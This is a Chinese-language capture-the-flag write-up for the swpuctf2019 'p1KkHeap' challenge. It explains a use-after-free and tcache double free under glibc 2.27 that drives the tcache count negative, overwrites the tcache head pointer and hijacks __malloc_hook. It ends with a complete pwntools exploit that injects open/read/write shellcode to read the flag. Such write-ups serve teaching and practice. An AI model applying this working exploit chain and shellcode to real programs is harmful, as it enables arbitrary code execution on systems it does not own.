0%

swpuctf2019_p1KkHeap

这是swpuctf2019的一题,让我们来详细分析一下

首先,我们检查一下程序的保护机制,发现保护全开

然后,我们用IDA分析一下

最大允许创建0x100的堆,并且最多有8个堆

漏洞点在这里,free后,只把大小置为0,而没有把堆指针置为0,存在UAF漏洞

本题,delete功能还有一个限制

delete功能只能用3次,超过会结束程序

然后是edit功能,根据数组里保存的大小读取字符,我们free后,那个大小设置为了0,因此就不能用原来的下标去edit释放的堆,而应该create后分配到原来的堆,再edit

show功能,可以泄露信息

程序还有一个限制

程序最多只能调用18次功能,超过后程序结束。

然后,我们看看给我们的libc版本为2.27

程序还使用了沙箱机制,可能禁用了某些系统调用

我们检测一下

execve被禁用,意味着我们不能调用system或onegadget来getshell

我们先做一个总结:

  1. Delete只能用3次

  2. 程序最多只能调用18次功能

  3. 程序中存在堆指针UAF,可造成double free

  4. Libc版本为2.27,存在tcache机制,且2.27版本的tcache不检查double free(更高版本有检查)

  5. Show功能可以用来泄露地址信息

  6. edit功能可以用来修改

  7. execve被禁用,我们应该构造shellcode或者ROP来[直接读取flag]{.mark}

首先想想,我们该如何触发shellcode或ROP,在这,[我们可以攻击__malloc_hook,将shellcode的地址写入到__malloc_hook]{.mark},在这里,ROP显然很麻烦,因为ROP还要做栈转移,并且需要先前依靠一段shellcode来转移栈,[如果供我们存放shellcode的地方空间很小,那么我们可以考虑写一段简短的shellcode,将栈转移]{.mark},但是,[如果我们有足够的空间来放shellcode,那么,直接把读取和输出flag的shellcode写到那个空间。]{.mark}

对于可写shellcode的空间很小,我还想到了另外一种方法,那就是写一段简短的shellcode,来调用int mprotect(const void *start, size_t len, int prot)函数,将某地址处属性修改为可执行,比如,我们可以把某个堆修改为可执行,那么就能在堆里布下shellcode。

好吧,说了这么多,其实这题,我们是有足够的空间来写shellcode的,所以就不用那么麻烦。

[程序在0x66660000这个固定的地址处映射了0x1000大小的空间,并且属性为RWX,既可读写,也具有执行属性,并且地址固定为0x66660000,使得我们更加方便。]{.mark}

所以,我们决定把shellcode写到0x66660000处,然后攻击malloc_hook,在malloc_hook处写入0x66660000,这样,当我们再次malloc时,就会执行shellcode。

那么,现在开始攻击吧

首先,需要泄露一些地址,那么需要用到unsorted bin,但是,由于tcache的存在,对应的tcache bin满7个,接下来的堆块才会放入unsorted bin。满7个,就必须delete 7次,本题最多只能用3次,显然这个方案不可行。让我们来看看tcache 相关的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
struct malloc_par  
{
/* Tunable parameters */
unsigned long trim_threshold;
INTERNAL_SIZE_T top_pad;
INTERNAL_SIZE_T mmap_threshold;
INTERNAL_SIZE_T arena_test;
INTERNAL_SIZE_T arena_max;

/* Memory map support */
int n_mmaps;
int n_mmaps_max;
int max_n_mmaps;
/* the mmap_threshold is dynamic, until the user sets
it manually, at which point we need to disable any
dynamic behavior. */
int no_dyn_threshold;

/* Statistics */
INTERNAL_SIZE_T mmapped_mem;
INTERNAL_SIZE_T max_mmapped_mem;

/* First address handed out by MORECORE/sbrk. */
char *sbrk_base;

#if USE_TCACHE
/* Maximum number of buckets to use. */
size_t tcache_bins;
size_t tcache_max_bytes;
/* Maximum number of chunks in each bucket. */
size_t tcache_count;
/* Maximum number of chunks to remove from the unsorted list, which
aren't used to prefill the cache. */
size_t tcache_unsorted_limit;
#endif
};

static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif
};

注意,**[size_t tcache_bins;]{.mark}**是无符号的

然后,看这里

1
2
3
4
5
6
7
8
9
10
11
12
13
#if USE_TCACHE  
{
size_t tc_idx = csize2tidx (size);

if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif

其中counts是有符号数组

看似,好像不会出什么问题,我们来看看这样的C语言代码

1
2
3
4
5
6
7
8
#include <stdio.h>  

int main() {
size_t a = 7;
int b = -1;
printf("b<a? %d",b<a);
return 0;
}

程序的执行结果

由此,[我们知道了,当一个有符号数和一个无符号数进行比较时,有符号数会先转换成无符号数,然后再进行比较。]{.mark}

[重点在这]{.mark}

那么,假设,我们double free同一个堆,那么在tcache bin里就会构成循环链表,此时count=2,然后,我们再create 3个一样大小的堆,那么count就变成了-1,此时,我们再delete一个unsorted bin范围的堆,这个堆就会放入unsorted bin,然后我们用show功能就能泄露出libc中的指针。

形成双向链表,那么我们create后,写入一个新地址,那么新地址就会链接到tcache bin链表的后面,我们看看

那么,我们再malloc 2次,就可以分配到aaaaaaaa处,但是注意,[这种方法,我们只能攻击一次]{.mark},也就是说,我们攻击了malloc_hook后,就攻击不了0x66660000,攻击了0x66660000就攻击不了malloc_hook了,二者不可兼得。因为不再是循环链表,并且delete只能用3次,不能再构建循环链表了。

解决方法是,我们**[用一次攻击,直接去攻击tcache bin的表头]{.mark}**,那么,下次,我们就能直接修改表头,来决定下一次堆分配到哪个地方。

[tcache bin的表头是在堆中的,一般在第一个堆的前面某次,我们用]{.mark}IDA[找到]{.mark}

我们找到了表头指针的位置,它距离第一个堆的位置是- 0x188个字节。

因此,我们要攻击这里,修改表头指针,这样就能决定下一次分配的位置了。

那么,我们需要先泄露第一个堆的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#chunk0  
create(0x100)
#chunk1,用来挡住chunk0与top块,这样chunk0放入unsorted bin时不会发生合并,指针就会保留在chunk0中
create(0x40)

#chunk0和自己形成双向链表
delete(0)
delete(0)
#泄露chunk0的堆地址
show(0)
sh.recvuntil('content: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x10

#得到tcache存放表头的地址
tcache_head_addr = heap_addr - 0x188

得到了表头地址,那么我们就要开始攻击表头了

1
2
3
4
5
6
7
8
9
#chunk2  
create(0x100)
#将chunk0的fd指向表头指针处
edit(2,p64(tcache_head_addr))
#chunk3
create(0x100)
#chunk4,chunk4是tcache存放表头指针的位置,我们edit chunk4,就能修改tcache的表头
#现在tcache 的count变成了-1,由于是无符号数,导致比较时>7成立
create(0x100)

现在chunk4就是表头指针处的空间,我们edit chunk4,就能修改表头指针

1
2
3
4
5
6
7
8
9
10
11
12
#chunk0进入unsorted bin  
delete(0)
#泄露main_arena+96的地址
show(0)
sh.recvuntil('content: ')

main_arena_96 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_96 & 0xFFFFFFFFFFFFFF00) + (malloc_hook_s & 0xFF)
libc_base = malloc_hook_addr - malloc_hook_s
open_addr = libc_base + open_s
read_addr = libc_base + read_s
write_addr = libc_base + write_s

我们先来攻击0x66660000,写入shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#将表头指向0x66660000,这样我们就能分配到这里了  
edit(4,p64(0x66660000))

#'flag.txt'
shellcode = asm('mov rax,0x7478742E67616C66')
shellcode += asm('push 0x0')
shellcode += asm('push rax')
#rsi = 0
shellcode += asm('mov rsi,0')
shellcode += asm('mov rdi,rsp')
#call open
shellcode += asm('mov rax,' + hex(open_addr))
shellcode += asm('call rax')
#fd
shellcode += asm('mov rdi,rax')
#buf
shellcode += asm('mov rsi,rsp')
#len
shellcode += asm('mov rdx,0x30')
#call read
shellcode += asm('mov rax,' + hex(read_addr))
shellcode += asm('call rax')
#fd
shellcode += asm('mov rdi,1')
##buf
shellcode += asm('mov rsi,rsp')
#len
shellcode += asm('mov rdx,0x30')
#call write
shellcode += asm('mov rax,' + hex(write_addr))
shellcode += asm('call rax')

#chunk5分配到了0x66660000
create(0x100)
#写入shellcode到0x66660000
edit(5,shellcode)

接下来,我们攻击malloc_hook,然后触发malloc_hook

1
2
3
4
5
6
7
8
9
10
#将malloc_hook设置为tcache bin表头  
edit(4,p64(malloc_hook_addr))
#chunk6分配到malloc_hook处
create(0x100)

#写malloc_hook
edit(6,p64(0x66660000))

#触发malloc hook去执行我们在0x66660000处布下的shellcode
create(0x1)

最终,我们得到了flag

综上,我们的exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#coding:utf8  
#思想:攻击tcache表头
from pwn import *

#sh = process('./p1KkHeap')
context(arch='amd64',os='linux')
sh = remote('39.98.64.24',9091)
#libc_path = '/lib/x86_64-linux-gnu/libc-2.27.so'
libc_path = './libc.so.6'
libc = ELF(libc_path)
malloc_hook_s = libc.symbols['__malloc_hook']
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']

def create(size):
sh.sendlineafter('Your Choice:','1')
sh.sendlineafter('size:',str(size))

def show(index):
sh.sendlineafter('Your Choice:','2')
sh.sendlineafter('id:',str(index))

def edit(index,content):
sh.sendlineafter('Your Choice:','3')
sh.sendlineafter('id:',str(index))
sh.sendafter('content:',content)

def delete(index):
sh.sendlineafter('Your Choice:','4')
sh.sendlineafter('id:',str(index))

#chunk0
create(0x100)
#chunk1,用来挡住chunk0与top块,这样chunk0放入unsorted bin时不会发生合并,指针就会保留在chunk0中
create(0x40)

#chunk0和自己形成双向链表
delete(0)
delete(0)
#泄露chunk0的堆地址
show(0)
sh.recvuntil('content: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x10

#得到tcache存放表头的地址
tcache_head_addr = heap_addr - 0x188

#chunk2
create(0x100)
#将chunk0的fd指向表头指针处
edit(2,p64(tcache_head_addr))
#chunk3
create(0x100)
#chunk4,chunk4是tcache存放表头指针的位置,我们edit chunk4,就能修改tcache的表头
#现在tcache 的count变成了-1,由于是无符号数,导致比较时>7成立
create(0x100)
#chunk0进入unsorted bin
delete(0)
#泄露main_arena+96的地址
show(0)
sh.recvuntil('content: ')

main_arena_96 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_96 & 0xFFFFFFFFFFFFFF00) + (malloc_hook_s & 0xFF)
libc_base = malloc_hook_addr - malloc_hook_s
open_addr = libc_base + open_s
read_addr = libc_base + read_s
write_addr = libc_base + write_s


#将表头指向0x66660000,这样我们就能分配到这里了
edit(4,p64(0x66660000))

#'flag.txt'
shellcode = asm('mov rax,0x7478742E67616C66')
shellcode += asm('push 0x0')
shellcode += asm('push rax')
#rsi = 0
shellcode += asm('mov rsi,0')
shellcode += asm('mov rdi,rsp')
#call open
shellcode += asm('mov rax,' + hex(open_addr))
shellcode += asm('call rax')
#fd
shellcode += asm('mov rdi,rax')
#buf
shellcode += asm('mov rsi,rsp')
#len
shellcode += asm('mov rdx,0x30')
#call read
shellcode += asm('mov rax,' + hex(read_addr))
shellcode += asm('call rax')
#fd
shellcode += asm('mov rdi,1')
##buf
shellcode += asm('mov rsi,rsp')
#len
shellcode += asm('mov rdx,0x30')
#call write
shellcode += asm('mov rax,' + hex(write_addr))
shellcode += asm('call rax')

#chunk5分配到了0x66660000
create(0x100)
#写入shellcode到0x66660000
edit(5,shellcode)

print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)


#将malloc_hook设置为tcache bin表头
edit(4,p64(malloc_hook_addr))
#chunk6分配到malloc_hook处
create(0x100)

#写malloc_hook
edit(6,p64(0x66660000))

#触发malloc hook去执行我们在0x66660000处布下的shellcode
create(0x1)

sh.interactive()

本题,我学到了绕过tcache bin的新方法,就是使得tcache bin的count为负数,还有就是攻击表头,在这次碰巧学到了,这是以前我不知道的。